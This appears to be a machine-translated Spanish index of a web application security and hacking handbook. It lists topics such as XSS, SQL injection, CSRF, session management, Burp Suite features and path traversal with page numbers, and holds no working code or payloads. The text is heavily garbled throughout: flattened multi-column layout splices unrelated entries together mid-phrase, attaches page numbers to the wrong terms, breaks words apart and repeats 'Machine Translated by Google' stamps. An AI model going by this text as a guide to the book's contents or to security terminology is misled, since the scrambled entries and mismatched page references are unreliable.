US-ASCII, 464 acceso, 658–660 654 categorías, 648–649 cifrado de
rompecabezas de Asirra, Microsoft, 612 scripts de puerta trasera deliberados, tokens, 232–233
ASP.NET, 54, 103 métodos API 660–661
distribución insegura, 184 cambio de contraseñas, 171– 172, mensajes de error, 388 búsqueda y
almacenamiento inseguro, 190–191 193 mal uso de la explotación, 389 prevención, 27, 390
manejo secreto de, 192–193 fuerza, funcionalidad de cambio, ataques de traducción de URL , 396–
validación, 193–195 inicial predecible, 183 débil, invertida, función de encapsulación de, 363
CSRF, 507–508 161–162 problemas con, 19 función multietapa de aplicación bancaria,
como defensa, 159 funciones de "recuérdame", 263 tokens por página, 252–253
161–184 menús desplegables, 193 espías, metodología de hackers, 808 ViewState, 125–126
169 metodología de piratas informáticos seguridad, 191–201 prevención de
ataques de fuerza bruta, 196–199
BeEF, 565–566 bit contenido oculto, 81–85 función reglas de manejo de sesiones,
flipper, Burp Intruder, 593 tokens de cifrado, de inicio de sesión, 162–165 606–609
228–231 revisión de código de caja contraseñas en wiki, 424 rastreador de manejo de sesión, 609
negra, 702–703 fi ltros basados en listas desbordamiento de búfer límite comercial, fallas de lógica de aplicación,
negras, 23–24 detección, 639–640 416–417, 429 explotación de lógica
XSS, 451–452 metodología de piratas informáticos, 837–838 comercial, 259 código de byte que descompila
inyección SQL ciega, 626 caracteres desbordamientos de montón, 635–636 extensiones de navegador, 139–141
bloqueados, fi ltros, 311–312 vulnerabilidades off-by-one, 636–638 software,
687 código fuente, 709 desbordamientos
aplicaciones de blog, entrada, 22 de pila, 634–635 no controlado, 639 manipulación de JavaScript, 144 ofuscación,
condiciones booleanas, operador 144–146 descarga, 140
componentes de cliente nativo, 153 política Burp Spider, 74–76, 80 Burp estilos evaluados dinámicamente,
459
del mismo origen, 525–527 Suite AMF, 137 asignación de
Destello, 525–526 aplicaciones, 268 ASP.NET propiedad de familia tipográfica,
518–519
Java, 527 ViewState, 126 certificado de CA,
Silverlight, 526–527 enfoques 758–759 comando de “método de inyección, captura de datos entre dominios,
de orientación, 135 tecnologías, 65 solicitud de cambio”, 474–475 517–519 funcionalidad web, 60–
contraseñas, 190–191 clickjacking, 511. sistemas clonados, 664 funcionalidad de depuración, 671–672
Véase también usuario atacantes de computación metodología de hackers, 847
en la nube, 14, 663–665 JMX, 674–676
sistemas clonados, 664 funciones potentes, 673–674 funcionalidad
tokens, 665 mecanismo de de muestra, 672–673
defensa, 664 enfoque de primera Descubrimiento de contenido, Burp Suite,
ataques de reparación de interfaz función, 664–665 pérdida de control en, 663– 88–89
componentes de cliente, nativo, 153 664 migración de herramientas de sistema de gestión de contenidos
lado del cliente administración a, 664 aplicaciones web, 5 (CMS), 77
ataques, 13 almacenamiento web, 665 CMS. Ver servidores web, 92
transmisión de datos, 118–127 herramientas de exploración de código del Encabezado de longitud de contenido, 42
ASP.NET ViewState, 124–127 sistema de administración de contenido, Solicitud POST, 581
inyección de código 743, revisión de código Encabezado de tipo de contenido, 136, 138,
para desarrolladores, 118 288. Ver código fuente, 476, 478, 525–526 dependiente del
metodología de hackers, 801 contexto, controles de acceso, 258
formularios HTML ocultos, 118–120
Cookies HTTP, 121 datos Encabezado de cookie, 41, 47
opacos, 123–124 revisión métodos de atacante de
Encabezado de referencia, 122 comandos Ver comandos del sistema operativo inyección de cookies, 536–537 fijación
seguridad, 154–156 de sesión, 537–540 tarro de galletas,
parámetros de URL, 121–122 comentarios Burp Suite, 603–604 cookies arbitrarias,
metodología de hackers, transmisión MySQL, 303–304, 312 código 537 atributos, 47 restricciones de dominio,
de datos, 801 fuente, 710–711 SQL, 312 245–247 metodología de piratas
HPP, 548–550 Comparer, Burp Suite, 167 informáticos, 820–821
fugas de divulgación de información, 629 aplicaciones compiladas. Vea las
inyección, 531–550 secuencias ocultas de los componentes nativos
del cliente, 213–215 inicios de sesión HTTP, 19, 47
SQL, 547–548 simultáneos, 250 errores condicionales, transmisión de datos del lado del cliente,
JavaScript, validación con, 130–131, inyección SQL, 121
156 seguridad, 431–432 fichas de administración de sesión, 207–
secuestro de token de sesión, 320–322 208, 234–236
fi ltros de consultas conjuntivas, 350 Inyección de encabezado HTTP, 533
243–244 Inyección LDAP, 352–353 función de inicio de sesión, 163
Inyección SQL, 547–548 Método CONECTAR, 682, 755 restricciones de ruta, 247–248
Certificación SSL, 138 entrada contenido persistente, 550 XSS reflejado, 437–
del usuario controlada por, 117 enumeración y funcionalidad, 438
extensiones de navegador, 133–153 74–97 RemembeMe, 407–408
metodología de hackers, Funciones de “recuérdame”, 175–176
801–802 descubrimiento de técnicas ocultas
Formularios HTML, 127–133 de fuerza bruta, 81–85 Nombre de pantalla, 407–408
Machine Translated by Google
CSS. Consulte Curl de hojas de estilo en recopilación de datos, 572 esquema_información, 309–310
cascada, 788 desarrollo personalizado, enfoque básico, 584–586 Burp
aplicaciones web, 10 codificación personalizada, Intruder, 598–600 causas, 583–584 Atacantes
318 mensajes de
Rompecabezas CAPTCHA, 610–612 error, 334–338 canales fuera de
atacantes, 610–611 resolución 287 banda, 317–318 sintaxis, 332–334
enfoque básico, 574 HTML ocultos, 118–120 mensajes de error, 425–426, 618–
Burp Intruder, 594–597 detección Cookies HTTP, 121 datos 619
metodología de piratas modelo de objeto de documento (DOM), ECMAScript para XML (E4X), 463 secuestro
informáticos, mapeo de aplicaciones, 61 de JavaScript, 523–524 parámetro de
797 servidor web, 671–677 metodología de metodología del hacker, 849–850 edición, 107 Edwards, Dean, 471 EJB.
piratas informáticos, 847 credenciales JavaScript, 440 Consulte Cifrados de libros de cocina
predeterminadas, servidor web, 670–671 Métodos API de JavaScript, 740 electrónicos Enterprise Java Bean (cifrados
funcionalidad web, 62 ECB), 224–226
metodología de piratas informáticos, XSS, 440–442
846 bloqueo predeterminado, bases de entregar, 448–449 encontrar Email
datos MS-SQL, 326–327 defensa y explotar, URL de activación de cuenta, 184
en profundidad 487–491 credenciales enviadas, 184 falsificadas,
Inyección SQL, 342 validación de entrada, 497 448 inyección de encabezado, 398–399
arquitecturas en niveles, 656 validación de salida, 497–498 prueba XSS almacenada, 483–484 como
software de servidor web, 696–697 prevención, 496–498 XSS reflejado nombre de usuario, 167, 196 codificación
Mecanismos de defensa. Ver también convertido a, 472–473 pasos, 441 de desbordamiento fragmentado de
seguridad directiva DocumentRoot, 683 Apache, 688 atacantes y, 66–67 Base64,
acceso DOM. Ver documento de cookies de 69 ASP. NET ViewState, 125–126
autenticación, 18–19 control, restricción de dominio de modelo de objeto,
20–21 gestión de sesiones,
19–20 atacantes, 30–35 alertas de
administrador, 33–34 mantenimiento de
registro de auditoría, 31–32 errores, 30– 245–247 personalizado, vulnerabilidades
31 reacción a, 34–35 elementos, 17–18 DOMTracer, carácter de transversales de ruta, 377–378
entrada, 21–29 aproximaciones a, 23–25 488 puntos, código de secuencia de hex, 69–70
acceso de usuario, 18–21 fi ltros comandos que pasa por alto las alternativas HTML, 68–69
defensivos, XSS reflejado, 455–456 de fi ltros a, secuencia de 466 “punto-punto- errores del desarrollador, 494–495
barra”, código script saltando fi ltros, 468
369. Véase también recorrido de ruta
vulnerabilidades Unicode, 67–68
Dowd, Mark, 634 código Intruso del eructo, 375
de bytes de descarga, URL, 67
método DELETE, 679 140 tokens de cifrado, Inyección SQL, 300–301
declaraciones DELETE, 297–298 231–232 menús desplegables, truncado, 378
scripts de puerta trasera deliberados, autenticación, 193 software de servidor web, 689–694
660–661 encriptación de .NET, 686 función
fallas en la DSer, Burp Suite, 136–137 “recuérdame”, 177 tokens, 223–233
lógica de la aplicación de los desarrolladores, Dump Servlet, Jetty, 672 ejecución atacantes, 232–233 Burp Intruder bit
429–430 transmisión de datos del lado del de código dinámico flipper,
cliente, 118
Métodos de la API de ASP.NET, 722
errores de codificación HTML, Métodos de la API de Java, 715
494–495 228–231
Inyección de comandos del sistema
seguridad de aplicaciones web, CBC, 227–233
operativo, 362 vulnerabilidades, 366–
autenticación de 3 resúmenes, listados descarga, 231–232
367 Métodos de la API del lenguaje
de directorios 50–51, servidores web, Perl, 738 Cifrados ECB, 224–226
677–679 oráculo de encriptación “reveal”, 232
Métodos API de PHP, 730–731
Allaire JRun, 690–691 fallas de lógica de aplicación
cadenas construidas dinámicamente,
nombres de directorio, 105 466 de oráculo de encriptación, 407–408
elementos deshabilitados función “recuérdame”, 407 mensajes de
atacantes, 132–133 error de la base de datos,
E
formularios HTML, 131–133
trampas de descuento, fallas en la lógica E4X. Consulte ECMAScript para XML 620–622
de la aplicación, 418, 429 control de Eagle, Chris, 634 autenticación de espías, "revelar", fichas de cifrado,
acceso discrecional (DAC), 282 filtros de 169 tokens de sesión, 234 eBay, 505 232
consultas disyuntivas, 350 inyección cifrados ECB. Ver cifrados de libros de Enterprise Java Bean (EJB), 53 software
LDAP, 351 archivos .dll, 141 reenlace cocina electrónicos Echo Mirage, 139 de planificación de recursos empresariales
DNS, 563 –564 elemento DOCTYPE, (ERP), 4 enumeración de
384–385 identificadores, 572–583 enfoque básico, 574
detección de aciertos, 574–576 sin manejar, 30–31 fallas nombres de atributo, 461
ejemplos, 573 metodología de de lógica de aplicación de valores de atributo, 462
piratas informáticos, mapeo de escape, 419–420 con carácter de barra conjuntos de caracteres, 464–
aplicaciones, 797–798 código invertida, 419 JavaScript, código de 465 paréntesis de etiqueta, 462–
de estado HTTP, 574 JAttack, 464 nombre de etiqueta, 460–
secuencia de comandos que pasa por alto
577–583 encabezado de ubicación, los filtros, 465–466 XSS, 420 cadena 461 entrada, vulnerabilidades de
575 cuerpo de respuesta, 575 longitud Etag, 128–129 función eval, 362, 722 código recorrido de ruta, 374–377
de respuesta, 574–575 secuencias LDAP, 350
de secuencia de comandos que pasa por alto
de comandos, 576–577 Set-Cookie los filtros alternativas a, 466 controladores de Omisión de la lista de exclusión de Oracle
encabezado, 575 retrasos de tiempo, eventos HTML5, 458 código de script en PL/SQL, 692–694 defensivo de
575–576 ERP. Ver software de XSS reflejado, 455–456 desinfección, 468–
HTML con, 457–458 Expires header,
planificación de recursos empresariales 42 Extensible Markup Language (XML), 56. 471 basado en firmas, 456–457
tokens probados para el significado, información pública, 89–91 rastreo causas, 393–394
815–816 dirigido por el usuario, 81–83 HPP, 394–395
tokens probados para servidor web aprovechado Contaminación de parámetros HTTP (HPP) del
la previsibilidad, 816–817 para, 91–93 lado del cliente, 548–550
comprensión, 814–815 HPI, 394–395
fijación de Wikto, 92–93 HTTPRECON, 102
sesiones, 819 metodología de hackers, mapeo HTTPS, 49
finalización, 818–819 hosting de aplicaciones, 796–797 suites de pruebas integradas,
compartido, 845–846 interceptar proxies, 755–758
Inyección SMTP, 836–837 campos de formulario HTML ocultos
inyección de jabón, 839 transmisión de datos del lado del cliente función de inicio de sesión,
Inyección SQL, 827–829 con, 118–120 interceptando 170 ataques man-in-the-middle,
procedimientos almacenados, 831– modificación de proxy, 566–568
metodología de hackers, servidores web, 513 framebusting, 514–515 dispositivos validación de entrada, 536
847 encabezados móviles, 515 prevención, 515 variaciones, 513 validación de salida, 536
prevención, 536 lenguaje
interpretado, 288–290
mapeo de aplicaciones, puntos de LDAP, 349–354
HPI, 390
causas, 393–394 Cargas útiles de ataques XSS, 445–446 prevención, 354
divulgación de información de inferencia, vulnerabilidades, 350–351
HPP, 394–395 del
lado del cliente, 548–550 626–627 motores de búsqueda, 626 función de inicio de sesión omitida,
288–290
ataques de intermediario, 566–568
NoSQL, 342–344
de código de base de datos, 741–742 aplicaciones de blog, 22 herramientas de solicitud manual, 765–
defensa en profundidad, 342 validación de límites, 25–28, 767 funciones y utilidades compartidas,
313 768–769
Instrucciones DELETE, 297–298 guión canonicalización, 28–29 analizadores de tokens compartidos, 767
doble, 293 mensajes de error, 334–338 mecanismos de defensa, 21–29 Datos de manipulación, 772
herramientas de explotación, 328–331 aproximaciones a, 23–25 TamperIE, 772–773
omisión de filtros, 311–313 bases de fi ltros, vulnerabilidades de escáneres de vulnerabilidades, 764–765
datos de huellas dactilares, 303–304 recorrido de rutas, metodología independientes, 773–784 web spidering,
metodología de hackers, 827–829 de piratas informáticos 374–377, fallas 760–762 flujo de trabajo, 769–771 evolución
inferencia, 319–324 validación de lógica de aplicación e de interceptación de proxies, 751 alternativas
de entrada incompleta, inserción 843, XSS de suites de pruebas integradas, 771–773
almacenado, reflejo características comunes, 758–759
XSS eliminando
peligroso, 495
eludido, 312 validación de varios pasos, 28–29
INSERTAR sentencias, 295–296 enfoque de "rechazar mal conocido", HTTPS, 755–758
Errores de JavaScript, 299 23–24 configuración del navegador web, 752–
datos numéricos, 299–301, 315– enfoque de manejo seguro de datos, 755
316 25 Internet. Ver World Wide Web
Cláusula ORDER BY, 301–302 canal enfoque de desinfección, 24–25 Internet Explorer (IE), 239, 459 fi ltros anti-
fuera de banda, 316–319 consultas verificaciones semánticas, 25 validación, XSS, 748 mensajes de error, 622
parametrizadas, 21–22, 313
339–341 fallas en la lógica de la aplicación Herramienta HTTPWatch, 748
prevención, 27, 338–342 que invalidan, 420–422 eluden, Herramienta IEWatch, 79,
estructura de consulta, 301–302 312 748 XSS reflejado, 435
segundo orden, 313–314 XSS basado en DOM, 497 TamperIE, 772–773
Instrucciones SELECT, 294–295 código Inyección de encabezado HTTP, 536 userData, 554 kit de
fuente, 705–706 datos de cadena, 298– problemas, 26 XSS almacenados, XSS herramientas para hackers de
ACTUALIZAR declaraciones, 296–297 función específica, 836–841 Disponibilidad de dirección IP, 100 IV.
INSERTAR sentencias Ver vector de inicialización
Codificación de URL, explotación
de vulnerabilidades 300–301, Inyección SQL, 295–296
292–294 Cláusula WHERE, 295
Troyano, cargas útiles de ataque XSS, seguro, fallas en la lógica de la J Jad, Java, 141
444–445 aplicación, 412–413 causas de descompilación, 148–150
XML, 383–390 vulnerabilidades enteras, 640 detección, archivos .jad, 148–150
XXE, 384–386, 841 642–643 archivos .jar, 141 JAttack
XPath, 344–349
Machine Translated by Google
configuración de seguridad, 716–717 Servlet, 672 Gusano Jitko, cookies persistentes, 550
datos serializados, 136–137 interacción 530–531 Función $js, JavaScript, prevención, 554–555
de sesión, 712–713 terminología, 53 344 JMX, 674–676 JRun, Allaire, Almacenamiento aislado de Silverlight, 553
arquitecturas en niveles, 648 entrada de 690 –691JSON. Ver Objeto pruebas, 550
esquemas de
Mensajes de error de IIS, 628 nomenclatura asignación de
Extensiones ISAPI, 688 aplicaciones, 85–86 ejercicio de O
vulnerabilidades transversales de ruta, fuerza bruta, 88 identificación, 87 ofuscación
691–692 seguridad, 431–432 recursos estáticos, 87 componentes bytecode, descompilación de extensiones
de cliente nativos, 153 desbordamiento de navegador, 144–146 esquemas
Plantilla activa SiteLock de búfer de aplicaciones compiladas personalizados, 109 OCR. Ver
Biblioteca, 559 nativas, 634–640 ejemplos, 633 reconocimiento óptico de caracteres ODBC.
dispositivos móviles vulnerabilidades de cadenas de Ver conectividad de base de datos
aplicaciones, 4 formato, 643–644 vulnerabilidades de abierta fuera de las vulnerabilidades, 636–638
Ataques de reparación de enteros, 640–643 pruebas para, OllyDbg, 153 Resultados omitidos,
interfaz de usuario, 515 mod_isapi, 633–634 errores de software nativos Google, 90 100 Continuar, 48 falsificación de
Apache, 688 mod_proxy, Apache, 688 metodología de piratas informáticos, 837– solicitud en el sitio (OSRF),
explotación automatizada, 330 método de precio negativo SOAP, atributos onsubmit, 130 atacantes
consultas por lotes, 317 bloqueo 120 Ness, Jonathan, 634 de datos opacos, 124
predeterminado, 326–327
Machine Translated by Google
transmisión de datos del lado del cliente, Lista de exclusión de PL/SQL, cambiar funcionalidad, 171–172,
123–124 676–677 193
conectividad de base de datos abierta omisión de filtro de software de fallas en la lógica de la aplicación,
(ODBC), 624 servidor web, 692–694 409–410
541 código fuente, 707–708 URL, 542 prefijo Encabezados de origen, 528–529 metodología de piratas informáticos,
absoluto, 545–546 bloqueo absoluto, 544– Comandos del sistema operativo. Consulte autenticación adivinanzas, 807
los comandos del sistema operativo calidad, 806 función de
545 entrada del usuario, 543–544 OpenLDAP,
352 funcionamiento comandos del sistema OSRF. Consulte la falsificación de solicitudes in recuperación, 807–808
situ de otros atacantes de usuarios, 431–432 sugerencias, 174, 200 iniciales
(comandos del sistema operativo)
canales fuera de banda predecibles, 183 del mundo real, 163
mapeo de aplicaciones, puntos de
entrada de entrada, 101
bases de datos ms-sql, 317
Ataque de oráculo de
Lenguaje Perl, 358–360 relleno P , 626 .NET,
prevención, 367–368 685–687 parámetro
metacaracteres de shell, 363, 365 código Apple iDisk Server, 690 asignación
pageid, 598 controles de acceso
fuente, 708 espacios, 366 retardo de de aplicaciones, 371 atacantes
basados en parámetros, 265–266 condiciones
tiempo, 363–364 de consultas parametrizadas, 341 inyección sorteando obstáculos, 374–377 con
entrada del usuario, 379–380 Lista de exclusión de PL/SQL, Oracle, 676– captura de datos
Industria de tarjetas de pago (PCI), 7 677 entre dominios de servicios proxy, 529–
lenguaje Perl omisión de filtro de software de 531
métodos API servidor web, 692–694 GT, 530–531
acceso a base de datos, 737–738 POJO. Consulte Escaneo de puertos de Gusano Jitko, 530–531
ejecución de código dinámico, 738 objeto Java antiguo simple, Java Script, 561, información pública
acceso a archivos, 737 566 método POST, 43, 192 propósito, mensajes de error, 623
Ejecución de comandos del sistema 264 metodología de hackers, mapeo
operativo, 738 potencialmente peligroso, de aplicaciones, 796 descubrimiento
736–739 Solicitud POST de contenido oculto con, 89–91
enchufes, 739 Encabezado de longitud de contenido, 581
Redirección de URL, 738 Conversión XSS, 474–475 Foros de Internet, 91
función de evaluación, 362 PostgresSQL, 323 motores de búsqueda para,
Inyección de comandos del sistema Encabezado Pragma, 42 89 archivos web para, 89–90
operativo a través de, 358–360 contraseñas iniciales predecibles, contenido publicado
configuración de seguridad, 739–740 183–184 mensajes de error, 625
interacción de sesión, 736 metacaracteres tokens predecibles, 213–223 Burp descubrimiento de contenido oculto con
de shell, 360 entrada de usuario, 735–736 Intruder, 213–214 secuencias inferencia de, 85–89 divulgación de
tokens por página, 252–253 cookies ocultas, 213–215 dependencia del tiempo, información, 625
persistentes, 550 ataques de phishing, 541, 215–217 generación débil de números PONER funciones, 43
707 aleatorios, 218–219 calidad de prueba, Método PUT, 679–680
219–223 función preg_replace, 730
PHP declaraciones preparadas, 339–341
métodos API ataques a la privacidad . Consulte los
Parámetro de cantidad Q ,
acceso a base de datos, 729–730 almacenes de datos de privilegios de
restrictivo, 128 consultas
ejecución de código dinámico, 730– ataques de privacidad locales, 287 DBA, 325–
731 acceso a archivos, 727– 326 escalada
CGI, 735–736 fi
729
ltros conjuntivos, 350
Ejecución de comandos del sistema
Inyección LDAP, 352–353
operativo, 731 potencialmente peligrosa,
727–732 sockets, 732 fi ltros disyuntivos, 350
Inyección LDAP, 351
horizontal, 258, 416 vertical,
condiciones parametrizadas,
Redirección de URL, 731–732 258, 416 modelo multicapa
341
función de evaluación, 362 controles de acceso seguridad,
Inyección SQL, 339–341
vulnerabilidades de inclusión de archivos,
381–382 motores de búsqueda, 90
280–283
Consultas SELECT, operador
comando mail(), 398–399 modo seguro, atacantes, 283
UNION, estructura 304–
666 configuración de seguridad, 732– campo privado, 295
305, inyección SQL, 301–302
735 directiva magic_quotes-gpc, 734 procediendo a pagar,
directiva register_globals, 733 directiva fallas en la lógica de la aplicación,
safe_mode, 733–734 interacción 410–411 controles de acceso
de sesión, 727 arquitecturas en niveles, programáticos, 282 método PROPFIND,
653–654 entrada de usuario, 724– 679 registros de historial de proxy, Condiciones de carrera R ,
727 funcionalidad web, 54–55 extensión 769–771 servidores proxy. Ver también 427 Rails 1.0, 55 RBAC.
de archivo .php, 108 phpinfo.php, Vea el control de acceso basado en
672 comando ping, 364 PKC # 5 relleno, roles en el mundo real
685 CBC, 686–687 Plain Old Java Object interceptar proxies
(POJO), metodología de piratas informáticos, fallas en la lógica de la aplicación, 406–407
servidores web, 847 formulario Fallo CSRF, 505
HTML oculto contraseñas, 163
modificación con XSS, 442–443
intercepción, 119–120 recompilación, código fuente a código
HTTP, 49–50 de bytes dentro del navegador,
HTTPS, 50 142–143
invisibles, 138
53 servidores web como, 682–683 navegador externo, 143
Machine Translated by Google
ataques de redirección. ver abierto CSRF, 8, 244, 504–511 puerta trasera deliberada, 660–661
vulnerabilidades de redirección tokens anti-CSRF, 508–509, 516–517 enumeración de identifi cadores, 576–577
controles de acceso basados en referencias, 266 autenticación, 507–508 mensajes de error, 616–617 juego
Encabezado de referencia, 41–42 explotar fallas, 506–507 metodología de herramientas personalizado para piratas
transmisión de datos del lado del cliente, de piratas informáticos, 820 prevenir informáticos, 786–789
122 fallas, 508–510 fallas del mundo real,
Firefox, 239 505 gestión de sesiones, 251 rizo, 788
Explotación de XSS vía, 475–476 XSS Netcat, 788–789
reflejado, 434–438 aturdimiento, 789
Apache, 442 XSS derrotando tokens anti-CSRF, wget, 788
cookies, 437–438 510–511 Validación de formulario HTML,
entrega, 448–449 OSRF, 502–503 129–131
DOM XSS convertido de, 472–473 encabezados de solicitud, 45– metodología
46 “solicitud en el navegador”, Burp Suite, de hackers de inyección, 835
explotando, 435–438, 474 272–273 prevención de vulnerabilidades,
fi ltros solicitar macros, Burp Suite, 604–606 368
defensivo, 455–456 encabezados de respuesta, 46 Prueba de entrada de usuario de XSS
desinfección, 468–471 REST. Ver estado representacional reflejada para introducir, 454–455
basado en firmas, 455–456 Atacante de token de sesión, 217 Código de
búsqueda y explotación, 452–481 transferir script que pasa por alto los fi ltros, 465–468
metodología de piratas informáticos, 829–830 robo de trazos inversos, 560 ataques
IE, 435 de rickrolling, 541 Rios, Billy, 485 alternativas de caracteres de punto,
límites de longitud, 471–473 robots.txt, 74 control de acceso 466 cadenas construidas
XSS de segundo orden. Ver preguntas secretas reputación, 1 ASP.NET, 54, 103
XSS almacenadas, función de inicio de sesión, gestión de sesiones, 248–254 alojamiento solicitudes de disección, 107–108 Java,
189 Secure Socket Layer (SSL) compartido, 665–667 53–54 PHP, 54–55 Ruby on Rails, 55
segregación de componentes, 667 SQL, 55–56 extrapolación del
certificación del lado del cliente, 138 acceso de clientes, 665–666 segregación comportamiento de la aplicación web,
protección de la comunicación, 192 de funcionalidades de clientes, 666 109–110 aislamiento del comportamiento
verificación de la metodología del hacker de la aplicación web, 110 servicios web,
para cifrados débiles, 851 túnel SSL, 7–8 56–57 XML, 56 redirección
HTTP, 49 seguridad, 7–8 tokens de sesión, arquitecturas en niveles, 654–656 impacto HTTP, 390–392 explotación, 391–392
233 vulnerabilidades de, 8 seguridad. Véase en el tiempo y los recursos, 11 identificación de mapeo de
también defensa aplicaciones de tecnologías, 101–106
generación de tokens, 210 captura de banner, 101 nombres de
conciencia subdesarrollada de, 10 directorio, 105 extensiones de archivo,
mecanismos aplicación web, 1, 6–15 102–105 huellas dactilares HTTP, 102
controles de acceso, 278–283 atacantes, 6 comprensión del tokens de sesión, 105 terceros
mejores prácticas, 279–280 desarrollador, 3 futuro, 14–15 -componentes de código de partido, 105
enfoque de componente central, factores clave, 10–12 nuevo perímetro
280 de red para, 12–14
modelo de privilegio de múltiples
capas, 280–283 trampas,
278–279 fallas de lógica de
aplicación, 428 configuración de entrada del usuario amenazante, 9–10
ASP.NET, 723–724 ViewState, 155 vulnerabilidades, 7–8 servidor web
ASP, 665–667
configuración, 684 sesiones
software, 695–697 ASP.NET, 719–720
segregación de componentes, 667 evolución del sitio web y, 2 fijación inyección de
acceso de clientes, 665–666 segregación XSS, evolución, 433 cookies, 537–540 búsqueda y
de funciones de clientes, 666 SELECCIONE valor NULL, operador explotación, 539–540 prevención,
autenticación, 191–201 UNION, 306–307 540 pasos, 537–538
prevención de ataques de fuerza bruta, Consultas SELECT, operador UNION, 304–305 metodología de hackers fijación,
196–199 sutilezas, 195 lado del cliente, 819 terminación, 818–819
431–432 transmisión de datos del sentencias SELECCIONAR metodología de hackers, mapeo de
lado del cliente, 154–156 registro y Inyección SQL, 294–295 aplicaciones, tokens a, 818
alertando, 156 validación, 155 Cláusula WHERE, 321 secuestro, 436 autenticación HTTP
autorregistro, nombres de usuario, 182, alternativa a, 208–209 Java, 712–713
196 verificaciones semánticas, lenguaje Perl, 736 PHP, 727
entrada, 25 carácter de punto y coma, manejo de escáneres de
función por lotes, 363 serialización, 70 vulnerabilidad independientes,
evolución, 432 datos serializados
endurecimiento, 695–696
encabezados HTTP y
suposiciones con, 123 extensiones del navegador
CSRF, 251 sesión de equitación. Consulte los filtro de condiciones de coincidencia simple,
mecanismos de defensa que manejan el mecanismos de manejo de 350
acceso con, 19–20 sesiones de falsificación de solicitudes. Protocolo simple de acceso a objetos
duración, 241–243 Cookie jar de Burp Suite, macros de (SOAP), 57 funciones, 386 inyección,
transmisión insegura del token solicitud 603–604, reglas de manejo 386–388 aplicación bancaria, 387–388
de la metodología del hacker, 817 de sesiones 604–606, mensajes de error, 388 búsqueda y
divulgación del registro del explotación, 389 metodología de piratas
sistema del token, 817–818 tokens 606–609 informáticos, 839 prevención, 27, 390
probados para determinar su rastreador de manejo de sesiones, 609 NBFS, 138 registros de mapa del sitio,
significado, 815–816 soporte, 603–609 automatización 769 –771 SiteLock Active Template
personalizada, 602–609 Library, Microsoft, 559 función de
fichas probadas para suspensión, MySQL, 323 tarjetas inteligentes,
previsibilidad, 816–817 reglas de manejo de sesiones, 606–609 autenticación, 206 inyección SMTP, 397–402
comprensión, 814–815 registro, 253 rastreador de manejo de sesiones, 609 fallas, 400–401 metodología de hackers, 836–
función de inicio de sesión, 206 función de Parámetro SessionID, 590 837 prevención, 402 ataque de
cierre de sesión, 242, 250 monitoreo, 253 Encabezado Set-Cookie, 42, 47, 242, 244– francotirador, Burp Intruder, 592 SOAP .
seguridad, 248–254 información de estado, 245, 531 enumeración de identificadores, Consulte los sockets del Protocolo simple de
206–209 generación de algoritmos de 575 acceso a objetos Métodos API ASP.NET, 723
tokens, 249 secuencias de comandos de método setString, 340 hosting Java, 716 Métodos API del lenguaje Perl,
atacante, 217 exposición del lado del compartido, 656–657. Véase también 739 Métodos API PHP, 732 fallas en la lógica
cliente al secuestro de, 243–244 atacantes de computación en la nube, de la aplicación del código fuente, 428
secuencias ocultas, 213–215 espías, 658–665 acceso, 658–660 secuencias de Contraseña de puerta trasera, 708 Navegación,
234 encriptación, 223–233 comandos de puerta trasera deliberadas, 743 Desbordamiento de búfer, 709
660–661 entre aplicaciones web, 660– Recompilación de código de bytes
663
SQL, 705–706 XSS, 704–705 Spidering web, bases de datos de procedimientos metodologia hacker,
REST URL, 74–75 dirigido por el usuario, almacenados de computación en la nube, 827–829
información de estado 302 lado del cliente, 547–548 corchetes de etiquetas, filtros de omisión de
gestión de sesiones, 206–209 sin sesiones, nombre de columna, 301–302 HTML, 462–464 nombre de etiqueta,
209 funcionalidad web, 66 errores condicionales, 320–322 filtros de omisión de HTML, 460–461
componentes de código de base etiquetas de script, 457 datos de
controles de acceso a de datos, sabotaje, 772 TamperIE, 772–773 protocolo
recursos estáticos, 263–264 TCP, uso de HTTP, 40 pruebas. Ver prueba
esquemas de nombres, 87 tokens Instrucciones DELETE, 297–298 guión estadísticas que prueban aplicaciones de
estáticos, 240 pruebas de hipótesis doble, 293 mensajes de error, 334–338 terceros, 560–561
variaciones, 513 Suite, 126 transmisión de datos del omisión de cortafuegos de aplicaciones web
lado del cliente, 124–127 propósito, (WAF), 698 metodología de piratas
Encabezado de agente de usuario, 41, 52 125 seguridad, 155 desfiguración informáticos, servidores web, 848–849 bytes
segmentación, 100 virtual, ataque XSS cargas útiles, 443– NULL, 460 servidores web, 697–698
datos de usuario, IE, 444 alojamiento virtual Apache, aplicaciones web. Véase también metodología
554 funciones definidas por el usuario (UDF), 683 del hacker;
328
Atacantes ASP entre, 660–663 Filtros XSS, 479–481 hosting virtual mal configurado, 683
contenedor web, Java, 53
extrapolación funcionalidad web del lado del Oracle, 676–677 como
del comportamiento, 109–110 cliente, 57–65 servidores proxy, software 682–683
aislamiento, 110 beneficios, 5– Ayax, 62–63, 384
6 negocios, 4 computación en la extensión del navegador Allaire JRun, 690–691
nube, 5 desarrollo personalizado, tecnologías, 65 CSS, Apple iDisk Server, 690 defensa
10 dependencia del almacén de 60–61 DOM, 62 formularios, en profundidad, 696–697 codificación
datos, 287 simplicidad engañosa, 58–60 HTML, 58 HTML5, 64– y canonicalización, 689–694
10–11 evolución, 2–3 fallas del 65 hipervínculos, 58 JavaScript,
marco, 685–687 funciones, 4–5 61 JSON, 63 política del
demandas crecientes, 12 gestión, 35– mismo origen, 64 VBScript, 61 JVM, 690
36 sobreextendida, 11–12 páginas, del lado del servidor, 51–57, gestión de memoria, 687–689
rutas funcionales versus, 93–96 103, 106–110 ASP.NET, 54,
seguridad, 1, 6–15 atacantes, 6 103 Java, 53–54 PHP, 54–55 Vulnerabilidades transversales de rutas
comprensión del desarrollador, 3 futuro, Ruby on Rails, 55 SQL, 55–56 de Microsoft IIS, 691–692
14–15 factores clave , 10–12 nuevo servicios web, 56–57 XML, 56 Exclusión de Oracle PL/SQL
perímetro de red para, sesiones, 66 información de estado, 66 Desvío de filtro de lista,
692–694
recursos, 694
Ruby WEBrick, 690
protección, 695–697
refuerzo de seguridad, 695–696 parches
de proveedores, 695 vulnerabilidades,
684–697
12–14 vulnerabilidades, 91–92
entrada del usuario amenazas, 9–10 WAF, 697–698
vulnerabilidades, 7–8 alojamiento servidores web, 669–670 Métodos WebDAV, 679–681 Servicios
compartido atacantes entre, 660–663 CMS, 92 web, 56–57
tecnologías en desarrollo, 6 configuración de Descripción de servicios web
terceros, 560–561 amenazas a, 3 evolución seguridad, 684 Idioma (WSDL), 57 web
rápida, 11 vulnerabilidades, 670–684 spidering, 74–77 autenticación, 76
contenido predeterminado, 92, 671–677 suites de pruebas integradas,
funcionalidad de depuración, 671–672
